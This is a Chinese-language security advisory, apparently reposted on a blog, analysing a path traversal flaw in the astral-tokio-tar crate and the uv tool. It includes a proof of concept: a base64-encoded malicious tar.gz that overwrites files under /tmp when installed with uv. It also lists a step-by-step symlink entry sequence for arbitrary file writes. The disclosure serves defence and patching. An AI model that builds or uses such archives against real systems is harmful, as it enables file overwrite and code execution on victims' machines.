警惕!Astral-tokio-tar/uv 路径遍历漏洞可导致任意文件写入

本文详细分析了Rust crate“astral-tokio-tar”及其在工具“uv”中的使用所引发的路径遍历漏洞。攻击者可构造恶意tar文件,在解压时绕过验证,将文件写入目标目录之外的任意位置,可能导致任意代码执行。

“Astral-tokio-tar” / “uv” 任意写入路径遍历漏洞 · 安全公告

摘要

“astral-tokio-tar”(一个被流行工具 “uv” 使用的 Rust 库)存在一个漏洞,允许在解压 tar 文件时进行任意文件写入。在 “uv” 中,此漏洞允许 Python 源码发行版在提取过程中将文件写入任意位置。

该漏洞主要源于 astral-tokio-tar 对符号链接的支持以及 “记忆化集合” 行为——该行为会跳过对已观察和验证过的路径的验证。

由于符号链接可以指向一个目录,并且可以通过在 tar 文件中包含多个条目来更改该链接,因此可以创建一个指向目标路径下良性目录的符号链接,通过验证后被添加到记忆化集合中,然后将该符号链接更改为指向磁盘上任意其他目录。

此外,还可以通过使用两个符号链接来创建一个绕过所有验证、指向任意目录的符号链接。

此漏洞允许攻击者生成能够在文件系统上创建或更改任意文件的 tar 文件。

严重性

中等 - 由于存在任意代码执行的潜在可能性。

概念验证 (PoC)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mkdir /tmp/flag
$ echo "hello" > /tmp/flag/flag
$ ls /tmp/flag
flag
$ echo "H4sICOmxkWgCA2R1bW15cGFja2FnZS0wLjAuMS50YXIA7Zhra9swGIX92b9C86cNGsWSZasLbeku7MJYVxjsSwlBSdTUm29znLZh7L9PcrIm3ZousNQN7XkIsZFesMl5j44U2qbtw2N1+U6roS6dO8Gfserq+4FY3Ntx5nPGHXLpNMBkXKnSPN55nPBdklZxqveZDEUgpdiVNOAB5xF3HfDgGU7SdFqowTc10i2f+pS1l4favV6cxVWvR4vpf/k/EmK1/5l0WOgLEfBImHufhZFkDvHh/zunKOOseuq9tpp7z2D5xwbdivwP/s5/hvxvJP/l9fwPeUDl8yiUu1gLHmn+F9OizL/qQUWrPE025P/b8j8IxSL/I1PHhF0SkP8NcNKfxMmwNZ6OK5123VJ/n8SlHpN9cuKdJmbnN8hLTQ72A8p39oTXdWf1fdMxOhuaskUVradUEXuuezJvoa6bqVTbsuVG81w1qc7ysn7Mj98Vr1Si++RlmV9k3g7RqYoTOzyww307ejjK814i6yBPvZ9d91yX4zjPbE3duJ471ONBGRfVfNQIOybKvP6ZKofmpeD2tfx//OFt6/3Rm08bzf/b/M999kf+cxYI+L8JPupKDVWlWl9mbuoQToV7ZCzZIcu94V7N103ifjZzqpx2yDWTuS9qX7dq83bIkqPJ3o0+PoApt+/8rwf5tL3h/b/ZWTr1ST9k8yu/5vlZ/ge+YOYswKJAcIeETfp/0Z731/1r/gHt/6oNnwNn+sv19A/t/k/6LHQIrzsR+jev/+w/wI3mfyTW018yqz9jTec/9N8K/0e+Wf8DLiLr/yzPi/a6X5Su/FRp0T5N1Aj6r6O//TXvSX8ujfQ2/zmTRn8K/9/T+r/KLXez/jN+5X/JudU/klj/GyE/1+VFGVcaBzGc/xb+z/TFaZzopvzPFv4PrP+lwP6vGeZCP4H9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYfn4BXGg1JABQAAA=" | base64 -d > dummypackage-0.0.1.tar.gz

$ mkdir test
$ cd test
$ uv venv env
$ . env/bin/activate
$ uv pip install ../[dummypackage-0.0.1.tar.gz](http://dummypackage-0.0.1.tar.gz/)
Using Python 3.12.3 environment at: env
Resolved 1 package in 5ms
      Built dummypackage @ file:///home/calebbrown/dummypackage-0.0.1.tar.gz
Prepared 1 package in 474ms
Installed 1 package in 0.95ms
 + dummypackage==0.0.1 (from file:///home/calebbrown/dummypackage-0.0.1.tar.gz)

$ ls /tmp/flag
flag  newfile
$ cat /tmp/flag/flag
overwrite
$ cat /tmp/flag/newfile
newfile!

进一步分析

根本原因

父目录记忆化

在库版本 v0.5.0 中添加的 Entry.unpack_in_raw() 方法允许传入一个记忆化集合作为参数,以提高文件系统操作的性能。

在 “uv” 中,uv-extract 中的 untar_in() 方法会创建一个记忆化集合并使用同一个集合来提取 tar 文件中的每个条目。

记忆化集合在 EntryFields.unpack_in() 中使用以下逻辑:

1
2
3
4
5
6
7
8
        // Validate the parent, if we haven't seen it yet.
        if !memo.contains(parent) {
            self.ensure_dir_created(dst, parent).await.map_err(|e| {
                TarError::new(format!("failed to create `{}`", parent.display()), e)
            })?;
            self.validate_inside_dst(dst, parent).await?;
            memo.insert(parent.to_path_buf());
        }

在此上下文中,parent 是当前正在提取的条目的父目录。例如,如果 file_dst 是 “path/to/file.txt”,那么 parent 将是 “path/to”。

仅当 parent 尚未在 memo 中时,才会调用 self.validate_inside_dst(dst, parent)

我们可以使用符号链接在 parent 被添加到 memo 后,更改其有效的父路径。

符号链接检查绕过

astral-tokio-tar 有一个受 allow_external_symlinks 标志保护的检查,旨在确保符号链接不指向目标目录 dst 之外。然而,此检查也可以通过按顺序创建以下两个符号链接来绕过:

  1. "ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp" 该路径通过符号链接检查,因为它最终解析为目标目录下的 “tmp”。
  2. "noop" -> "." 该路径也通过符号链接检查,因为它解析为目标目录本身。

在两者都被创建后,“ptr” 现在实际上指向 “./../../../../../../../../../tmp”,这很可能超出了目标目录。

组合利用

现在可以使用以下 tar 条目实现任意写入:

  1. 目录 “decoy”. 创建目录 {dst}/decoy
  2. 符号链接 “ptr” -> “decoy”. 创建符号链接 {dst}/ptr
  3. 空文件 “ptr/dummy”. 提取文件 {dst}/ptr/dummy(即 {dst}/decoy/dummy)。这次写入同时导致 {dst}/ptr 被插入到 memo 中。
  4. 符号链接 “ptr” -> “noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp”. 替换符号链接 {dst}/ptr
  5. 符号链接 “noop” -> “.”. 创建符号链接 {dst}/noop。“ptr” 现在指向 {dst}/./../../../../../../../../../tmp
  6. 恶意载荷文件 “ptr/payload”. 提取文件 {dst}/ptr/payload(即 /tmp/payload)。对 {dst}/ptr 的验证被跳过,因为它已被添加到 memo 中。

相关漏洞编号:GHSA-7j9j-68r2-f35q, GHSA-3wgq-wrwc-vqmv

时间线

  • 报告日期:2025年8月11日
  • 修复日期:2025年9月23日
  • 披露日期:2025年11月17日

附加信息

  • CVE ID: CVE-2025-59825
  • 受影响版本: astral-tokio-tar <= 0.5.3
  • 已修复版本: > 0.8.22
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计